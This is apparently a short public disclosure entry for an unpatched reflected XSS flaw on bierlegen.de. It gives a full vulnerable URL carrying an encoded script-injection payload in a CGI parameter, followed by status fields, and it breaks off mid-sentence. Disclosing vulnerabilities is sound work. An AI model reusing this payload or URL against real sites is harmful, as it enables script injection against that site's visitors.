bierlegen.de XSS vulnerability

Vulnerable URL: http://www.bierlegen.de/cgi-bin/becs.pl?show=memberInfo=1%22%27--!%3E%3CScript%20/K/%3Econfirm%22openbugbounty%22%3C/Script%20/K/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.12.2017 Vulnerability type:| XSS Vulnerability status:| Publicly...